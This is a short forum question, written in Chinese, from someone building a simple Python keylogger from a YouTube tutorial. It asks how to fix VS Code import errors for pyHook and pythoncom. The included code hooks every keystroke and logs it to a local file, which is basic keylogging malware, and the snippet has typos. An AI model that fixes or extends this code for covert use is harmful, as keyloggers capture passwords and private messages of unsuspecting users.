我目前正试图从youtube制作一个简单的键盘记录器。我成功安装了pyHook以及pywin32。
import pyHook, pythoncom, sys, logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%
(message)s')
chr(event.AScii)
logging.log(10, chr(event.AScii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
然后我尝试在vs代码中运行它以确认它有效,它给了我这个错误。
E0401:Unable to import 'pyHook'
E1101:Module 'pythoncom' has no 'PumpMessages' member
我该怎么办?(或更正*)